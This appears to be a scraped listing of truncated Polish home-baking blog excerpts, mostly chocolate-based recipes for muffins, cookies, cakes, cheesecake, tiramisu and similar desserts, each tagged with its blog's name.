rodzynek 100 g wiórków kokosowych 1 zapach rumowy (dałam pomarańczowy) 5 łyżek cukru lub płynnego miodu 100 g masła dżem z czarnych porzeczek lub marmolada Polewa: 2 tabliczki czekolady + 50 g masła lub gotowa polewa czekoladowa Ciasto : Z podanych składników zagnieść na stolnicy ciasto. Podzielić na dwie części i każdą osobno piec w 180st. C  przez(...)małym ogniu do chwili uzyskania jednolitej masy. Placek posmarować dżemem lub marmoladą i na to wyłożyć gotową masę, odstawić na ok 1 godz w zimne miejsce. Dwie tabliczki czekolady i 50g masła rozpuścić w kąpieli wodnej. Polewą polać ciasto, zostawić do chwili wystygnięcia czekolady

charlotte gotuje
Muffinki z bananami 167

najlepiej mi podchodzą. Chociaż co ja mówię, ja uwielbiam wszystko co jest słodkie ! Przepis znalazłam u jednej z dziewczyn, a dokładnie  na blogu tastefully, od siebie dodałam dodatkowo czekoladę, także przepis jest delikatnie urozmaicony, aaa i wyszło mi 27 babeczek - było się czym rozkoszować !  ;) Składniki : 350 g mąki pszennej 2 łyżeczki proszku do pieczenia 1 jajko 1 szklanka(...)mleka 1 szklanka cukru 3/4 szkl. oleju 1 opakowanie cukru waniliowego 4 średnie banany  1 czekolada (u mnie 1/2 tabliczki gorzkiej i 1/2 tabliczki mlecznej) Przygotowanie : Mąkę i proszek do pieczenia przesiewamy do miski. Dodajemy do tego 1 szklankę mleka, 1 szklankę cukru, cukier waniliowy i całe jajko. Wszystko razem miksujemy na jednolitą masę. Gdy wszystkie składniki będą już

charlotte gotuje
Mleczne ciasteczka 141

dzisiaj przyszedł czas na mleczne ciasteczka, ale UWAGA ! Nie byle jakie, bo z kawałkami czekolady ! Czego chcieć więcej? Raj dla miłośników czekoladki :) Nawet nie wiecie jaki piękny aromat wydostaje się z mojego słoika na ciasteczka mmm ... :)  Składniki: 2 szkl mąki  1/2 szkl mleka w proszku 1 łyżeczka proszku do pieczenia 1 łyżeczka aromatu waniliowego (u mnie pomarańczowy) 150g(...)masła  3/4 szkl cukru 2 jajka 125 g czekolady mlecznej Przygotowanie: Masło utrzeć z cukrem na puszystą masę. Dodać roztrzepane jajka, mąkę, proszek do pieczenia, mleko w proszku, aromat. Dokładnie wszystko wymieszać mikserem, później wyrobić rękami na jednolitą masę. Dodac posiekaną czekoladę i połączyć z masą. Z tak powstałej masy formować kulki wielkości orzecha włoskiego, delikatnie spłaszczać i układać

charlotte gotuje
Babeczki cappuccino 177

rozpuszczalnej (ciiiii... nie trzeba się do tego przyznawać). Składniki: 2 szklanki mąki 2 łyżeczki proszku do pieczenia 0,5 szklanki cukru 2 łyżeczki cukru waniliowego 0,5 tabliczki gorzkiej czekolady (lub małe czekoladowe dropsy) orzechy laskowe 1 jajko 0,5 szklanki oleju 1 szklanka mleka 1 filiżanka esspresso Składniki na krem z twarożku: (zobacz link tutaj) Suche składniki mieszamy razem(...)misce. Dodajemy jajko, olej, mleko oraz przestudzoną kawę i dokładnie mieszamy. Czekoladę kroimy na drobne kawałki i razem z orzechami (część odkładamy do dekoracji) dodajemy do masy i mieszamy. Nastawiamy piekarnik na temperaturę 180 stopni. Metalową formę do muffinek wykładamy papierowymi papilotkami. Jeśli nie mamy papilotek foremki możemy wysmarować masłem i wysypać bułką tartą. Wypełniamy foremki do wysokości około

Ciastkozercy
Jak pokryć babeczki masą cukrową ? 249

także do pokrycia domowych babeczek. Efekt gwarantowany! Po wyciągnięciu z opakowania kulkę masy cukrowej ugniatamy chwilę w dłoniach, żeby stała się bardziej plastyczna. W naczyniu do fondue roztapiamy czekoladę (jeśli chcemy pokryć babeczkę białą masą cukrową dobrze jest użyć białej czekolady zamiast gorzkiej, żeby spod spodu nie prześwitywał ciemny kolor). Blat posypujemy cukrem pudrem i wałkujemy masę cukrową na cienki(...)placek (około 2-3 mm). Szklanką lub foremką o średnicy zbliżonej do średnicy babeczek wycinamy kółka z masy. Babeczki smarujemy cienką warstwą roztopionej czekolady i przykładamy na nią kółko z masy cukrowej. Wygładzamy wierzch i brzegi babeczki dłonią. Smacznego! ciastkożercy

Ciastkozercy
Słodkie upominki - czekoladki pomarańczowe 141

kostki lodu (do kupienia np. w Ikei) lub silikonowe foremki na muffinki. Do zrobienia tych czekoladek skorzystałam z ostatniej opcji, chciałam, żeby gotowe słodycze wyglądały jak małe talarki. Wybór czekolady i dodatków zależy wyłącznie od Waszych upodobań, ja zdecydowałam się na bardzo gorzką wersję, do której dodałam skórkę pomarańczową i pokrojone drobno migdały. Czekoladę najlepiej rozpuścić w kąpieli wodnej(...)około 3-5 cm i stawiamy na mały ogień. Na garnek kładziemy miskę - średnica garnka nie może być większa od miski, dno miski nie powinno być zanurzone w wodzie. Czekoladę łamiemy na kostki, rozpuszczamy w misce. Dodajemy skórkę pomarańczową i przekładamy do foremek. Na wierzch sypiemy pokrojone migdały. Odstawiamy w chłodne miejsce, żeby czekoladki zastygły. Jeśli się spieszymy możemy

Ciastkozercy
Murzynek 366

babci. To delikatne czekoladowe ciasto świetnie smakuje z wiśniami czy truskawkami ze słoika lub przełożone konfiturą owocową. Dla tych, którym dodatkowe kalorie nie straszne wierzch polewamy grubą warstwą rozpuszczonej czekolady. Składniki: 4 jajka 2,5 szklanka mąki 1 szklanka cukru 3 łyżeczki proszku 2 łyżki kakao 1 kostka margaryny 5 łyżek mleka (może też być woda) + wiśnie ze słoika, tabliczka(...)czekolady Margarynę topimy z połową ilości cukru, mlekiem i kakao na małym ogniu. Całość nie może się zagotować. Po rozpuszczeniu odstawiamy do przestudzenia. Rozdzielamy żółtka od białek. Żółtka mieszamy z pozostałym cukrem i dodajemy do przestudzonej masy kakaowej ciągle mieszając. Nastawiamy piekarnik na temperaturę około 180 stopni. Białka ubijamy na sztywną pianę ze szczyptą soli. Do masy kakaowej dodajemy proszek

Ciastkozercy
Czekoladowe babeczki z kremem i granatem 144

Czekoladowe babeczki z kremem i granatem - prezentują się równie dobrze, co smakują. Gorzka czekolada świetnie komponuje się z delikatnym kremem z twarożku, lekko cierpki granat dopełnia całości. Składniki: 2 szklanki mąki 2 łyżeczki proszku do pieczenia 0,5 szkladnki cukru 2 lyżeczki cukru waniliowego 2 łyżki gorzkiego kakao 0,5 tabliczki gorzkiej czekolady lub garść czekoladowych dropsów 1 jajko(...)oleju 1 szklanka mleka świeży granat Składniki na krem z twarożku: ( zobacz link tutaj ) Suche składniki mieszamy razem w misce. Dodajemy jajko, olej, mleko oraz pokrojoną w drobne kawałki czekoladę lub dropsy i dokładnie mieszamy. Nastawiamy piekarnik na temperaturę 180 stopni. Metalową formę do muffinek wykładamy papierowymi papilotkami. Jeśli nie mamy papilotek foremki możemy wysmarować masłem i wysypać bułką tartą

Ciastkozercy
Walentynkowe Double Chocolate 125

się odpowiednia dekoracja.   Składniki na babeczki czekoladowe znajdziecie tu   Składniki na podwójnie czekoladowy krem:   1 budyń czekoladowy 1 szklanka mleka 2 łyżki cukru 0,5 tabliczki czekolady 1 kostka masła     Babeczki przygotowujemy według przepisu. 8 Masło wyciągamy wcześniej z lodówki i kroimy na mniejsze kawałki. W niewielkiej ilości mleka rozpuszczamy budyń i cukier. Resztę mleka(...)gotujemy, kiedy pojawią się bąbelki wlewamy rozpuszczony budyń i mieszamy energicznie przez kilka sekund i odstawiamy do przestudzenia. Czekoladę rozpuszczamy w kąpieli wodnej lub naczyniu do fondue i odstawiamy, żeby nieco ostygła – nie może być gorąca, ale ciągle musi być płynna. Masło miksujemy i dodajemy po łyżce zimny budyń i rozpuszczoną czekoladę. Masę cukrową ugniatamy chwilę w dłoniach, żeby zmiękła

Ciastkozercy
Babeczki stokrotki 176

Babeczki stokrotki Wiosenna propozycja na dziś to klasyczne czekoladowe muffinki z nutą pomarańczy i dużą ilością mlecznej czekolady - takie połączenie chyba nigdy mi się nie znudzi :) Do tego delikatny krem z twarożku w stosownym kolorze i cukrowe stokrotki. Składniki: 2 szklanki mąki 2 łyżeczki proszku do pieczenia 0,5 szklanki cukru 2 łyżeczki cukru waniliowego 2 łyżki gorzkiego kakao(...)jajko 0,5 szklanki oleju 1 szklanka mleka skórka pomarańczowa (lub aromat pomarańczowy) mleczna czekolada Składniki na krem z twarożku + zielony barwnik spożywczy Suche składniki mieszamy razem w misce. Jajko, olej i mleko dodajemy do masy i dokładnie mieszamy. Dodajemy skórkę pomarańczową i drobno pokrojoną czekoladę. Nastawiamy piekarnik na temperaturę 180 stopni. Metalową formę do muffinek wykładamy papierowymi papilotkami. Jeśli

Ciastkozercy
Babeczki wiosenne listki 160

pieczenia 0,5 szklanki cukru 2 łyżeczki cukru waniliowego 2 łyżki gorzkiego kakao 1 jajko 0,5 szklanki oleju 1 szklanka mleka draże orzechowe (lub inne chrupiące cukierki w czekoladzie) Polewa czekoladowa Suche składniki mieszamy razem w misce. Jajko, olej i mleko dodajemy do masy i dokładnie mieszamy. Nastawiamy piekarnik na temperaturę 180 stopni. Metalową formę do muffinek wykładamy papierowymi(...)obrócić „do góry nogami” lub poukładać na kratce, żeby ostygły. Ciemne babeczki (dwie z większą ilością kakao) kruszymy na małe kawałki. Podgrzewamy gotową polewę czekoladową (lub rozpuszczamy zwyczajną czekoladę w kąpieli wodnej). Przestudzone babeczki polewamy czekoladą przyczepiamy rozkruszone ciasto czekoladowe i listki z masy cukrowej. Smacznego! ciastkożercy

Ciastkozercy
Ciastkowe lizaki 159

polewę. Sam pomysł jest banalnie prosty: na specjalne patyczki lub całkiem zwyczajne patyczki do szaszłyków nabijamy kulki zrobione z ciasta - skrawków biszkoptu, babki lub babeczek. Całość maczamy w czekoladzie, kuwerturze czekoladowej lub lukrze, ozdabiamy koralikami, lentilkami, kokosem, bakaliami. Realizacja pomysłu okazała się jednak nieco trudniejsza. Poniżej kilka lizakowych zdjęć (także tych mniej udanych ;) ) Składniki: babeczki czekoladowe ( przepis tu ) patyczki(...)szaszłyków - to nie był najlepszy pomysł, niżej możecie zobaczyć rezultaty. Lepiej jest zostawić je na talerzu i nabić już udekorowane. W kąpieli wodnej topimy kuwerturę czekoladową (ewentualnie zwykłą czekoladę) lub cukierki do topienia. Zdecydowanie nie polecam zwykłej białej czekolady - roztapia się do konsystencji, z której dałoby się zrobić pralinki, nie polewę. Po kilku nieudanych próbach zdecydowanie polecam poukładanie kulek

Ciastkozercy
Świąteczne ciastkowe lizaki - pisanki 219

wyciągnięciu z pieca ciasto kruszymy na małe kawałki i mocno ugniatając formujemy z nich kulki w kształcie jajek. Gotowe kulki jajka przekładamy na około 10 min do zamrażarki. Rozpuszczamy czekoladę w kąpieli wodnej lub korzystamy z gotowej polewy czekoladowej. Im rzadsza czekolada tym łatwiej będzie pokryć nią całe ciastka nabite na patyczki. Na jeszcze mokrą czekoladę przyczepiamy ozdoby: koraliki, bakalie

Ciastkozercy
Tęczowe lizaki 168

miseczek. Formujemy małe kulki z ciasta mocno ugniatając je w dłoniach. Rozpuszczamy polewę czekoladową, maczamy w niej czubki patyczków do szaszłyków i wbijamy w kolorowe kulki z ciasta. Kiedy czekolada wyschnie przyczepiając mocno patyczek, możemy zanurzyć całego lizaka w polewie. Czekamy chwilę, żeby nadmiar czekolady spadł z powrotem do miseczki. Zanim czekolada zupełnie wyschnie przyczepiamy do niej kolorowe cukrowe koraliki

Ciastkozercy
ŚWINKI W BŁOTKU 195

ŚWINKI W BŁOTKU Składniki: - 3 jasne spody biszkoptowe (24cm) - 3 opakowania rurek waflowych - 500ml śmietany 36% - 2 fixy do ubijania śmietany - 250g serka mascarpone - 50g czekolady - 300g dżemu malinowego - 4 łyżki cukru pudru - 150g   różowego lukru plastycznego - 5g   klej spożywczy CMC - 20g niebieskiego maczku cukrowego - 9 kwiatuszków cukrowych - 10g zielonej posypki waflowej - 400g czekoladowo-orzechowego kremu "Kremuś" - 250ml(...)Wykładamy na podstawkę pierwszy spód biszkoptowy. Przygotowujemy poncz do nasączania biszkoptów: 250ml wódki malinowej, 100ml wody i 3 łyżki cukru - tak przygotowanym ponczem nasączamy spód biszkoptowy. Rozpoczynamy przygotowanie kremów: Czekoladę rozpuszczamy w gorącej kąpieli i odstawiamy do ostygnięcia. W misce ubijamy na sztywno śmietanę połączoną z dwoma fixami oraz cukrem pudrem. Do ubitej śmietany dodajemy serek mascarpone i mieszamy

Mentor Smaku
PUSZYSTY SERNIK Z JEŻYNOWĄ POLEWĄ 209

waniliowego 120g masła 8 jajek 1 op budyniu waniliowego  z cukrem aromat cytrynowy opcjonalnie: 100g rodzynek 100g skórki pomarańczowej Składniki na mus: ok 250g jeżyn 1 tabliczka białej czekolady (100g) 2 czubate łyżki cukru Wykonanie: Rodzynki namoczyć w gorącej wodzie. Żółtka oddzielić od białek, ucierać je z cukrem i cukrem waniliowym do białości, dodając stopniowo  zmielony ser, budyń(...)patyczkiem). Po upieczeniu wystudzić w piekarniku przy uchylonych drzwiczkach.  Jeżynowy mus : Jeżyny umyć, wraz z cukrem gotować na małym ogniu ok 20 minut, aż większość się rozgotuje. Czekoladę rozpuścić w kąpieli wodnej. Rozpuszczone jeżyny zblendować z płynną czekoladą na gładki mus.  Polać nim wystudzony sernik, chłodzić w lodówce, aż polewa całkowicie zastygnie

Walijskie Pichcenie
Czekoladowe ciasto z gruszkami 258

szybkie czekoladowe ciasto z gruszkami. Niezwykle proste w przygotowaniu, a jednak z efektem WOW ! Myślę, że zostaniecie jego wielbicielami. Składniki: ( na podłużną blachę długości około 35 cm ) * 160 g czekolady ( 100 g gorzkiej + 60 g mlecznej ) * 50 g masła * 200 g mąki pszennej * 10 g ciemnego kakao * 2 łyżeczki proszku do pieczenia * 3 jajka * 3/4 szklanki cukru * 3 gruszki(...)cytryny * cukier puder Wykonanie: Gruszki obrać ze skóry, przeciąć na połówki i usunąć gniazda nasienne. Owoce delikatnie ponacinać wzdłuż, na głębokość 2 mm. Gruszki skropić sokiem z cytryny. Czekoladę rozpuścić w kąpieli wodnej, razem z masłem. Połączyć w miseczce mąkę, kakao i proszek do pieczenia. Jajka ubić z cukrem na gładką, puszystą masę. Do masy jajecznej dodać rozpuszczoną, przestudzoną czekoladę

kolorowotorcikowo
Tiramisu 288

jadłam. Składniki: 500 ml śmietany kremówki 36% lub 48% 250 g serka mascarpone 5 łyżek cukru pudru 500 ml mocnej kawy 250 g podłużnych biszkoptów 100 g drobno startej czekolady mlecznej 2 łyżeczki kakao Śmietanę, mascarpone i cukier puder umieszczamy w misie miksera. Ubijamy do otrzymania sztywnego, puszystego kremu, o konsystencji bitej śmietany. Z dwóch czubatych łyżeczek kawy rozpuszczalnej(...)mielonej zaparzamy 500 ml kawy. Biszkopty moczymy w kawie. Pierwszą warstwę biszkoptów układamy w naczyniu. Przykrywamy połową kremu. Posypujemy połową startej mlecznej czekolady. Układamy drugą warstwę biszkoptów. Przykrywamy pozostałym kremem. Posypujemy kakao i pozostałą startą czekoladą.. Chłodzimy kilka godzin w lodowce, najlepiej całą noc. The post Tiramisu appeared first on Made

Made By Mom And Son
Karobowy kleik z płatkami ryżowymi i czekoladą ^^ 125

naprawdę, było. Nie wiem kiedy ostatni raz jadłam kleik i płatki ryżowe, a dzisiaj jakoś tak wpadły mi w ręce. Mandarynka też leżała na wierzchu, a karob i czekolada, to było coś, na co miałam ochotę i tak powstało sycące energetyczne śniadanko :) ~ Karobowy kleik z płatkami ryżowymi, serkiem twarogowym, mandarynką i jagodami goij ~ Składniki: 30g kleiku ryżowego 20g płatków ryżowych(...)łyżka karobu słodzidło + 100g serka twarogowego, mandarynka, jagody goij, kostka czekolady (u mnie gorzka 99%), miód Kleik, płatki i karob zalewamy wrzątkiem i gotujemy do uzyskania odpowiedniej konsystencji. Dosładzamy i przekładamy do miseczki. Do środka wciskamy kostkę czekolady, dodajemy serek, pokrojoną mandarynkę i jagody goij. Całość możemy polać miodem lub syropem klonowym

Kuchenny Skrawek Nieba
Przygody z BlogerChef c.d. 149

Przygotowaliśmy kilka fajnych dań z wykorzystaniem różnych gatunków piwa. Nie mogłam do końca być z nimi i spróbować tych wszystkich specjałów, bo jak na skrzydłach biegłam na warsztaty z czekolady. Pod czujnym okiem Piotra Chylareckiego temperowałam czekoladę, robiliśmy praliny i własne tabliczki z przeróżnymi dodatkami. Zamieniając prawie całe pomieszczenie w pogorzelisko po czekoladowej wojnie.  Nad wszystkim dodatkowo czuwał Marcin(...)Karolina z Patiserka.   Oferta sklepu, że oczy grają a pasjonaci i pożeracze czekolady zalewają się śliną widząc 2,5 kg tabliczki, kg torby ich ulubionych słodkości.  Mojego męża musiałabym chyba siłą wyciągać lub po prostu grzecznie poczekać, aż skończy jeść.  Można również było wziąć udział w konkursie zorganizowanym przez Patiserka. Do wygrania były 3 bony. Już kombinowałam

Malinowe Pocałunki
Szybkie ciasteczka czekoladowe 340

Można by nazwać te ciasteczka....RAZ - DWA i gotowe!, ekspresowe pachnące czekoladą ciasteczka w kilka chwil. Przygotowanie banalnie proste i łatwe, składniki wszędzie dostępne. Ciasteczka po upieczeniu i wystudzeniu można przechowywać w puszce lub w słoiku przez długi czas. Składniki: 2.5 szklanki mąki pszennej 1/2 łyżeczki proszku do pieczenia 3/4 szklanki cukru trzcinowego 2 jaja 22 dag masła(...)czekolady 1/2 łyżeczki sody 1. Składniki łączymy ze sobą i szybko zagniatamy ciasto. 2. Czekoladę kroimy na drobne kawałki, dodajemy do przygotowanego ciasta i mieszamy, aby równomiernie się rozłożyła. 3. Z ciasta formujemy kuleczki wielkości orzecha włoskiego i układamy na przygotowanych blaszkach wyłożonych papierem  do pieczenia w dużych odstępach, gdyż pod wpływem temperatury rozpuszczą się na boki. 3. Piekarnik

Apetyczna babeczka
Czekoladowo-jagodowe pierogi ^^ 102

miałam na 9.50 do 13.30. Ze względu na tak dużą ilość czasu rano, zrobiłam moje pierwsze śniadaniowe pierogi. Były na prawdę pyszne, w każdym pierogu czekała na mnie płynna czekolada i... jagody :P Po prostu niebo... nigdy nie myślałam, że pierogi mogły by mi tak zasmakować :P ~ Pierogi z jagodami, czekoladą, miodem, cynamonem i jogurtem naturalnym + Inka ~ Składniki(...)cynamon Mąkę przesiewamy przez sitko, dodajemy, szczyptę soli, wodę i mieszamy drewnianą łyżką na gładką masę. Ciasto rozwałkowujemy i szklanką wykrawamy kółka. Na środek każdego kładziemy jagody, kawałki pokruszonej czekolady (może być krem czekoladowy) i zlepiamy rogi. Pierogi wrzucamy do wrzącej, osolonej wody i gotujemy przez 3 minuty od wypłynięcia na powierzchnię. Pierogi kładziemy na talerzu, polewamy jogurtem, posypujemy,cynamonem

Kuchenny Skrawek Nieba
Ciasteczka jaglano-cytrynowe z migdałami i żurawiną 206

mnie na blogu słodkości ostatnio... ale popełniłam smaczne ciasteczka, dlatego od razu wrzucam przepis na blog... Składniki: 70 g masła (ok. 1/3 kostki) 2 jajka 100 g białej czekolady 1 szklanka płatków jaglanych pół szklanki płatków migdałowych ok 2 szklanki mąki pszennej 1 czubata łyżeczka proszku do pieczenia szczypta soli pół szklanki żurawiny skórka starta z cytryny 1 łyżka soku(...)cytryny Masło stopić razem z połamaną na kosteczki czekoladą (w kąpieli wodnej lub mikrofalówce) i ostudzić. Płatki migdałowe pokruszyć w dłoniach i delikatnie uprażyć na suchej patelni. Cytrynę wyszorować, a następnie sparzyć. Zetrzeć skórkę z cytryny i wycisnąć sok. Jajka zmiksować z rozpuszczoną czekoladą, skórką i sokiem z cytryny. W drugiej misce wymieszać mąkę, sól, proszek do pieczenia, płatki migdałowe

Czerwień i błękit
Owsianka a'la Rafaello - "Kokosowy Muchomorek na odwrót" 189

musiałam dodać go do śniadania. Krem jest mega słodki i bardzo kokosowy. Smakiem przypomina nadzienie Rafaello ^^ A oto słodki, kokosowy muchomorek na odwrót ;P ~ Owsianka kokosowa z białą czekoladą, kremem kokosowym, wiórkami kokosowymi, siemieniem lnianym, serkiem twarogowym i żurawiną ~ Składniki: 30g płatków owsianych 10g otrębów owsianych 5g świeżo zmielonego siemienia lnianego 10g wiórków kokosowych 100g serka twarogowego kilka kostek(...)białej czekolady +  krem kokosowy, żurawina Płatki, otręby, siemię i wiórki gotujemy do uzyskania odpowiedniej konsystencji, a pod koniec gotowania dodajemy kawałki pokruszonej białej czekolady. Czekamy aż rozpuści i połączy z owsianką.Całość przekładamy do słoiczka/miseczki, dodajemy krem kokosowy (duużo kremu ;D) na to serek twarogowy i żurawinę. Tak wygląda mleczny krem kokosowy Deluxe: Skład kremu: (mam nadzieję

Kuchenny Skrawek Nieba
Pływające wyspy (Zupa nic) 558

Postanowiłam osłodzić sobie dzisiejszej leniwe przedpołudnie przygotowując słodkie bezowe pianki, zwane też pływającymi wyspami lub zupą nic, które dodatkowo posypałam czekoladą z chili. Zupa nic to zupa na bazie słodzonego mleka, ja tym razem wykorzystałam do jej przygotowania budyń waniliowy Winiary. Tą zupą zawsze zachwycała się moja siostra, to jej ulubiony smak z przedszkolnego dzieciństwa. Idealnie nada się na śniadanie(...)domownicy. Pływające wyspy (Zupa nic) dla dorosłych i dla dziecie: Składniki dla 2 osób: 2 jajka 125 g drobnego cukru Szczypta soli 500 ml mleka 1 budyń waniliowy Winiary czekolada gorzka z chili Wykonanie: Białko ubijamy na sztywno ze szczyptą soli, stopniowo dosypujemy cukier aż piana stanie się sztywna i błyszcząca. W szerokim rondlu zagotowujemy 250 ml mleka, pozostałą część

Damsko-męskie spojrzenie na kuchnię
Ciasto Pawełek 430

Biszkopt jajka -6 szt mąka- 1 szkl proszek do pieczenia -1 łyżeczka cukier -200 g KREM margaryna - 1,5 kost batony Pawełek -2 szt żółtka jaj -3 szt mleczna czekolada -1 tabliczka cukier -3/4 szkl mleko -0,5 szkl wódka -100 g  PRZYGOTOWANIE: BISZKOPT  Białka oddzielić od żółtek.  Ubić białka z cukrem na sztywną pianę(...)piekarnika, piec 25 minut w 175 stop.  Ostudzony biszkopt przekroić na pół.  KREM  Do rondelka wlać mleko, dodać posiekane batoniki, cukier i 0,5 tabliczki czekolady, na wolnym ogniu, doprowadzić do rozpuszczenia się wszystkich składników, ostudzić.  Margarynę utrzeć z żółtkami na puch.  Do utartej masy żółtkowej dodawać po łyżce zimnej masy z batoników, utrzeć

Kuchnia Danusi
Keks ziemniaczany z kakao 272

with cocoa Składniki. 50 dag ziemniaków 3 jajka 22 dag cukru 5 łyżki kakao 2 łyżki dżemu morelowego 1 łyżeczka sody 1 łyżeczka skórki cytrynowej Bakalie Polewa. 5 dag czekolady białej 1 łyżka masła 30 ml kremówki 2 łyżki czekolady w płatkach do posypania wierzchu Wykonanie. Ugotowane ziemniaki przetrzeć. Żółtka utrzeć z cukrem, kakao i dżemem. Dodać sodę i ziemniaki(...)pianę i połączyć z masą ziemniaczaną. Ciasto włożyć do keksówki i piec w temp.180stop . 1h. W rondelku składniki polewy stopić i wymieszać. Polać ciasto i posypać płatkami gorzkiej czekolady . Keks jest pulchny i wilgotny

Kulinarny karnet Christophera
MIODOWE CIASTO Z ORZECHAMI LASKOWYMI 203

masła, 150 g mąki, 220 g płynnego miodu, 150 g mielonych orzechów laskowych, 1 i 1/2 łyżeczki proszku do pieczenia, 4 jajka 200 ml śmietanki 36 %, 100 g czekolady gorzkiej, 1 łyżeczka masła Wykonanie; ucieramy masło w mikserze, dodajemy miód, a następnie po jednym jajku, w oddzielnej misce łączymy mąkę, orzechy i proszek do pieczenia, suche składniki dodajemy do masy(...)maślanej i miksujemy, przygotowujemy tortownicę /24 cm/, wykładamy papierem do pieczenia, nastawiamy piekarnik na 160 stopni i pieczemy ok 50 minut, do suchego patyczka studzimy, przygotowujemy krem...czekoladę rozpuszczemy z masłem w kąpieli wodnej...kremówkę podgrzewamy prawie do wrzenia...powoli dolewamy do czekolady i ściagamy miskę znad pary...studzimy...wkładamy do lodówki,żeby krem zgęstniał, dekorujemy kremem i orzechami ciasto

Anioły w kuchni
Domowa granola 243

włoskich - pół szklanki orzechów nerkowca - 2/3 szklanki pestek słonecznika i dyni - pół szklanki siemienia lnianego - 4 łyżki miodu Dodatkowo:  - pół szklanki rodzynek - pół szklanki suszonych bananów - tabliczka gorzkiej czekolady Płatki owsiane, orzechy, pestki oraz siemię lniane wymieszać z miodem i wysypać na blaszkę do pieczenia.  Piec w temperaturze 120 stopni przez około 30 min, co jakiś czas mieszając(...)Odstawić do wystygnięcia.  Czekoladę posiekać na drobne kawałki, rodzynki namoczyć w wodzie. Owoce i czekoladę dodać to granoli, wymieszać. Przechowywać w słoiku. Smacznego

Zgrabne Gotowanie
Ciasto karmelowe z kremem fistaszkowym 463

zawierało dodatkowo kawałki orzeszków, więc spotęgowało to jeszcze ich posmak w całości wypieku. Ciasto karmelowe z kremem fistaszkowym Składniki: ciasto karmelowe 120g mąki pszennej 75g masła 60g cukru 50g czekolady białej 50ml mleka 2 jajka karmel 1 czubata łyżeczka proszku do pieczenia karmel  60g cukru 80-90ml wody krem fistaszkowy 250g mascarpone 100g masła orzechowego ( wykorzystałam masło(...)znów przybierze płynną postać - płynny karmel ostudzić CIASTO KARMELOWE - masło roztopić z mlekiem, wlać ostudzony karmel, przez chwilę podgrzewać, zdjąć z palnika - do gorącej mieszanki dodać połamaną na kawałki czekoladę, wymieszać do jej rozpuszczenia się, ostudzić - jajka wyjąć wcześniej z lodówki, żeby przyjęły temperaturę pokojową - gdy mieszanka ostygnie, jajka ubić z cukrem tak, aby zwiększyły objętość - do masy jajecznej wlać

Smakołyki Bereniki
Serniko-brownie z dynią 173

mnie wpis na Orangen Mond .    Składniki: 250 g puree z dyni 2 łyżki cukru 1 łyżeczka cynamonu 1/2 łyżeczki imbiru 80 g sera 1 jajko 100 g czekolady gorzkiej 200 g masa 3 jajka 150 g cukru 75 g mąki 30 g kakao 1/2 łyżeczki proszku do pieczenia   Wykonanie: Puree dyniowe, ser, 1 jajko i 2 łyżki(...)cukru zmiksować z przyprawami i serem.  Odstawić.  Czekoladę rozpuścić w kąpieli wodnej lub w mikrofalówce i odstawić do przestudzenia. Masło utrzeć.  Następnie dodawać po jednym jajku cały czas ucierając.  Dodać cukier i czekoladę i ponownie ucierać.  Na koniec dodać przesianą mąkę wymieszaną z kakao i proszkiem.  Wymieszać masę.  Formę do brownie

Sto kolorów kuchni
Watermelon with cardamom chocolate. 98

Arbuz z kardamonową czekoladą i argentyńskim winem. Składniki: 1 duży dojrzały  arbuz 100 ml. argentyńskiego wina Celebro [ TUTAJ ] 20 g coffee&cardamom dark chocolate  ( terravita ) 8  łyżeczek żelatyny 8 dkg cukier listki mięty aceto balsamico di Modena do polania Wykonanie: Arbuz przekroić na połowę i wydrążyć łyżką miąższ. Przełożyć do miski i zmiksować blenderem. Całość przecedzić(...)nastawić na gaz, dodać wino i cukier. Podgrzewać mieszając do zagotowania. Dodać żelatynę, wymieszać i już nie gotować. Wystudzić i do tężejącej galaretki dodać  starte ( pokruszone) kawałeczki czekolady. Całość wlać do formy i wstawić do lodówki do całkowitego stężenia (około 5 godzin). Wyłożyć na paterę. Pokroić i podawać skropione aceto balsamico di Morena z listkiem mięty i czekoladą

Kulinarny karnet Christophera
Świąteczna choinka. 153

upieczeniu choinkę ozdobić. Ładnie wygląda również biała. Wesołych Świąt. Czekoladowo-kardamonowe ciasteczka świąteczne. Składniki. 25dag mąki pszennej 1 łyżka kakao 12,5 dag cukru 12,5dag masła 10 dag czekolady z kardamonem 2 jajka 1 łyżeczka proszku do pieczenia 1 olejek pomarańczowy Masło utrzeć z cukrem i następnie z jajkami. Stopić czekoladę i ostudzoną dodać do masy maślanej, dodać aromat(...)Mąkę przesiać z proszkiem , kakao i dodać do masy czekoladowej. Wyrobić gęste ciasto. Na wysmarowanej tłuszczem blasze układać łyżeczką porcje ciasta. Piec w temp.180 stop.10-12min. Jeżeli nie mamy czekolady z kardamonem ,to dajemy gorzką+1 łyżeczkę startego kardamonu

Kulinarny karnet Christophera
Gundel palacsiuta - naleśniki a'la Gundel. 163

pomarańczową i szczyptę cynamonu. Gotować kilka minut ,aż masa zgęstnieje. Kiedy ostygnie wlać rum i wymieszać. Nadzienie gotowe ,nie podjadać! Sos czekoladowy. 150ml mleka 50 g cukru 100 g czekolady gorzkiej 2 żółtka 100 ml śmietany kremowej 0,5 laski wanilii 50 ml rumu Na łaźni wodnej rozpuścić czekoladę. Ubić śmietanę. Żółtka wymieszać z połową cukru i 1 łyżką zimnego(...)mleka ,do otrzymania kremowej masy. Ciągle mieszając dodać rozpuszczoną czekoladę. Mleko zagotować z resztą cukru i wanilią i dodawać powoli ,porcjami ,ciągle mieszając do masy czekoladowej. Nie dopuścić do wrzenia. Ja robię to na wyłączonej łaźni wodnej. Kiedy masa lekko przestygnie dodać ubitą śmietanę i rum. Ilość alkoholu dostosować do biesiadników, patrz-dzieci! Upieczone ,wspaniałe naleśniki smarujemy nadzieniem ,zwijamy

Kulinarny karnet Christophera
Truskawkowy souvenir na Dzień Matki. 309

Dzień Matki. Składniki. 500 g truskawek 1 cytryna 125 ml nalewki z wiśni 150 g cukru pudru 12 łyżeczek żelatyny 500 g kremówki 36% 24 szt. biszkoptów 50 g czekolady 1 łyżka masła Wykonanie. Tortownicę,20 cm,wyłożyć papierem. Z biszkoptów ułożyć brzeg tortu, Truskawki umyć, usunąć szypułki. Połowę truskawek zmiksować. Drugą połowę pokroić w ćwiartki i skropić nalewką. Resztę(...)dodać do zmiksowanych truskawek. Śmietanę dobrze ubić i powoli połączyć z przestudzoną żelatyną. Połowę masy nałożyć do tortownicy. Teraz warstwa truskawek pokrojonych w ćwiartki. Na truskawki wyłożyć resztę masy. Czekoladę roztopić z masłem i polać wierzch tortu. Ozdobić plasterkami  truskawek i polać resztą czekolady . Jako ,że to prezent, obwiązujemy ozdobną wstążką

Kulinarny karnet Christophera
Kurtosze 460

